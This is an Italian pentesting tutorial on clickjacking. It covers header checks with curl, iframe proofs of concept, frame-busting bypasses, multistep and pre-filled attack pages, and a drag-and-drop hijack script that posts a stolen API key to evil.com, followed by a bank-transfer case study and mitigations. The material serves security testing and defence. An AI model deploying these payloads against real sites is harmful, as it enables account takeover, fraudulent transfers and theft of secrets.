web-hacking

Clickjacking: Cos’è e Come Trovarlo nel Pentesting Web

Clickjacking: Cos’è e Come Trovarlo nel Pentesting Web

Scopri cos’è il clickjacking (UI Redressing) e come individuarlo nel pentesting web: iframe invisibili, X-Frame-Options, CSP frame-ancestors e PoC reali.

  • Pubblicato il 2026-03-13
  • Tempo di lettura: 5 min

Il clickjacking è una vulnerabilità web che permette a un attaccante di dirottare il click di un utente verso un’azione che non intendeva eseguire — cambio email, trasferimento fondi, eliminazione account. Nel pentesting web è uno dei test obbligatori su qualsiasi applicazione con azioni sensibili.

L’attaccante carica la pagina legittima in un iframe invisibile sovrapposto a una pagina esca. L’utente è autenticato, il browser invia i cookie, e il click viene registrato come legittimo. A differenza del CSRF — che forgia request automatiche — il clickjacking richiede un’interazione reale ma la dirotta. Il risultato può essere un account takeover completo.

Satellite della guida pillar Misc & Infra Attacks. Vedi anche: CSRF, XSS.

Riferimenti: PortSwigger Clickjacking, OWASP Clickjacking, HackTricks Clickjacking.


In Sintesi #

Cos’èIframe invisibile sovrapposto a pagina legittima — il click va dove non vedi
Come verificarloControlla X-Frame-Options / CSP frame-ancestors su ogni pagina sensibile
Come sfruttarloIframe trasparente + bottone esca allineato sopra il bottone target
Come mitigarloX-Frame-Options: DENY o Content-Security-Policy: frame-ancestors 'none'

Detection #

Step 1: Verifica Header Di Protezione #

bash
# Controlla OGNI pagina sensibile (non solo la homepage):
for path in "/" "/account/settings" "/account/delete" "/transfers" "/admin"; do
  echo "=== $path ==="
  curl -sI "https://target.com$path" \
    -H "Cookie: session=VALID" \
    | grep -iE "x-frame-options|content-security-policy" || echo "NESSUNA PROTEZIONE!"
done

# PROTETTO se:
# X-Frame-Options: DENY                          → non frameable
# X-Frame-Options: SAMEORIGIN                    → solo stesso dominio
# Content-Security-Policy: frame-ancestors 'none' → non frameable
# Content-Security-Policy: frame-ancestors 'self'  → solo stesso dominio

# VULNERABILE se:
# → Nessun header (la protezione manca del tutto)
# → X-Frame-Options: ALLOW-FROM (DEPRECATO — Chrome/Firefox lo ignorano!)
# → frame-ancestors con dominio troppo permissivo

Step 2: PoC Iframe (10 Secondi) #

html
<!-- Salva come test.html, apri nel browser -->
<iframe src="https://target.com/account/settings" width="800" height="600"></iframe>

<!-- Se la pagina si carica → clickjacking possibile
     Se il browser blocca ("Refused to display") → protetto -->

Step 3: Verifica Ogni Pagina Sensibile #

bash
# La protezione potrebbe essere presente sulla homepage ma ASSENTE su:
# /account/settings (cambio email/password)
# /account/delete (eliminazione account)
# /transfers/new (trasferimenti)
# /admin/users (pannello admin)
# /oauth/authorize (autorizzazione app OAuth)
# /2fa/disable (disabilitazione 2FA)

# Testa ognuna separatamente — spesso gli header sono configurati per route

Step 4: Controlla JavaScript Frame Busting #

bash
# Alcuni siti usano JavaScript invece di header:
# if (top !== self) { top.location = self.location; }

# Bypass con sandbox:
<iframe sandbox="allow-forms allow-scripts" src="https://target.com/settings"></iframe>
# L'attributo sandbox blocca il frame busting JavaScript!
# Il form funziona ancora (allow-forms) → clickjacking possibile

# Bypass con doppio frame:
<iframe src="data:text/html,<iframe src='https://target.com/settings'></iframe>"></iframe>
# Il frame busting controlla top !== self, ma il "top" è il data: frame, non evil.com

Exploitation #

Click Singolo — Azione Diretta #

html
<style>
  .target-frame {
    position: absolute; top: 0; left: 0;
    width: 800px; height: 600px;
    opacity: 0.0001;   /* Invisibile */
    z-index: 2;        /* Sopra tutto */
  }
  .bait {
    position: absolute;
    top: 285px; left: 220px;  /* Esattamente sopra il bottone target */
    z-index: 1;
    font-size: 24px; cursor: pointer;
  }
</style>

<iframe class="target-frame" src="https://target.com/account/settings#delete-section"></iframe>
<div class="bait">🎁 Clicca qui per il tuo premio!</div>

<!-- L'utente clicca "premio" → clicca "Elimina account" sotto -->

Multistep — Sequenza Di Click #

html
<style>
  .frame { position:absolute; opacity:0.0001; z-index:2; width:800px; height:600px; }
  #step1 { position:absolute; top:285px; left:220px; z-index:1; font-size:20px; cursor:pointer; }
  #step2 { position:absolute; top:350px; left:300px; z-index:1; font-size:20px; display:none; cursor:pointer; }
</style>

<iframe class="frame" src="https://target.com/account/delete"></iframe>
<div id="step1" onclick="this.style.display='none'; document.getElementById('step2').style.display='block'">
  Step 1: Verifica la tua identità
</div>
<div id="step2">Step 2: Conferma la verifica</div>

<!-- Click 1 → "Elimina account" | Click 2 → "Sì, sono sicuro" -->

Pre-fill Via URL Parameters #

html
<!-- Se la pagina accetta parametri GET per pre-compilare i form: -->
<iframe class="frame"
  src="https://target.com/account/settings?email=attacker@evil.com#change-email">
</iframe>
<div class="bait">Verifica il tuo account</div>

<!-- L'email è pre-compilata con quella dell'attaccante.
     Il click dell'utente preme "Salva" → email cambiata! →
     L'attaccante fa password reset → account takeover -->

Drag-and-Drop Hijacking #

html
<style>
  .frame { position:absolute; opacity:0.0001; z-index:2; }
  .dropzone { width:200px; height:200px; border:2px dashed #ccc; padding:50px; }
</style>

<iframe class="frame" src="https://target.com/api-keys"></iframe>
<div class="dropzone" id="drop">Trascina qui la tua foto</div>

<script>
document.getElementById('drop').addEventListener('drop', function(e) {
  e.preventDefault();
  var data = e.dataTransfer.getData('text');
  // L'utente ha trascinato la sua API key dall'iframe nascosto!
  fetch('https://evil.com/log', {method:'POST', body:data});
});
document.getElementById('drop').addEventListener('dragover', function(e) { e.preventDefault(); });
</script>

Output Reale #

bash
$ curl -sI "https://target.com/account/settings" -H "Cookie: session=valid" \
  | grep -iE "x-frame|frame-ancestors"
# (nessun output → NESSUNA PROTEZIONE)

$ curl -sI "https://target.com/" | grep -i x-frame
X-Frame-Options: SAMEORIGIN
# → La homepage è protetta, ma /account/settings NO!
# Header configurato solo sulla homepage, non sulle route sensibili

X-Frame-Options vs CSP frame-ancestors #

X-Frame-OptionsCSP frame-ancestors
StandardVecchio (HTTP header standalone)Moderno (parte di CSP)
Browser vecchi✅ Supportato⚠️ Non sempre
FlessibilitàBassa (DENY / SAMEORIGIN / ALLOW-FROM)Alta (lista domini, wildcard)
ALLOW-FROM⚠️ Deprecato — Chrome/Firefox lo ignoranoN/A
PrioritàIgnorato se CSP frame-ancestors è presenteHa la precedenza su X-Frame-Options
ConsiglioUsalo per compatibilità legacyUsalo come protezione principale

Regola pratica: usa entrambi. frame-ancestors 'none' + X-Frame-Options: DENY in contemporanea copre browser vecchi e nuovi senza gap.


Workflow Operativo #

Step 1 → Verifica X-Frame-Options e CSP frame-ancestors su OGNI pagina sensibile (non solo homepage)

Step 2 → Se assenti → crea PoC HTML con iframe trasparente

Step 3 → Identifica azioni critiche frameable (cambio email, delete, transfer, authorize)

Step 4 → Se frame busting JS → testa bypass con sandbox e double frame

Step 5 → Se la pagina accetta parametri GET → pre-compila il form nel PoC

Step 6 → Documenta: quale azione l’utente esegue inconsapevolmente


Caso Studio #

Settore: Online banking, 100.000 clienti.

La homepage aveva X-Frame-Options: SAMEORIGIN. Ma la pagina /transfers/quick (trasferimento rapido con beneficiario pre-salvato) non aveva l’header. Il form accettava parametri GET: /transfers/quick?beneficiary=IT60X054...&amount=500. PoC: iframe invisibile con URL pre-compilato + bottone esca “Verifica il tuo conto”. Un click → trasferimento di 500€.

Header sulla homepage ma non sulla pagina trasferimenti → bonifico con un click.


FAQ #

Qual è la differenza tra Clickjacking e CSRF? #

Il CSRF forgia una request automatica senza interazione dell’utente (basta visitare la pagina). Il clickjacking richiede che l’utente clicchi fisicamente — ma il click viene dirottato su un’azione diversa. Il CSRF è bloccato dai CSRF token; il clickjacking è bloccato dagli header X-Frame-Options/frame-ancestors.

X-Frame-Options o CSP frame-ancestors? #

Usa entrambi per compatibilità. CSP: frame-ancestors è più flessibile e moderno. X-Frame-Options è supportato da browser più vecchi. Se entrambi sono presenti, frame-ancestors ha la priorità. Vedi la tabella sopra per il confronto completo.

Il clickjacking è considerato grave? #

Dipende dall’azione che riesci a far eseguire. “Metti like a un post” = basso impatto. “Trasferisci fondi” o “Cambia email dell’account” = critico. Nei report, documenta sempre l’azione specifica, non solo “la pagina è frameable”.

Il sandbox bypass funziona sempre? #

No. sandbox="allow-forms allow-scripts" disabilita il frame busting JavaScript ma mantiene i form funzionanti. Tuttavia, senza allow-same-origin i cookie non vengono inviati — il che rende inutile il clickjacking su pagine autenticate. Il bypass funziona solo se l’azione non richiede cookie (raro).


✅ Checklist #

text
DETECTION
☐ X-Frame-Options verificato su OGNI pagina sensibile
☐ CSP frame-ancestors verificato
☐ ALLOW-FROM presente? (deprecato → falsa protezione!)
☐ PoC iframe: la pagina si carica?
☐ Frame busting JS presente? → sandbox bypass testato?
☐ Header mancante su route specifiche? (settings, delete, transfer ma non homepage)

EXPLOITATION
☐ Azioni critiche frameable (cambio email, delete, transfer, authorize)
☐ Parametri GET per pre-fill form?
☐ PoC HTML con iframe trasparente + bottone esca creato
☐ Multistep clickjacking testato (se servono più click)
☐ Drag-and-drop hijacking possibile?

IMPATTO
☐ Azione eseguita documentata (ATO, financial, data)
☐ Pre-fill possibile? (aumenta gravità)

Le tue pagine sensibili hanno X-Frame-Options: DENY? Le azioni critiche sono frameable? Penetration test HackIta. Dal click invisibile all’account takeover: formazione 1:1.

#clickjacking

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.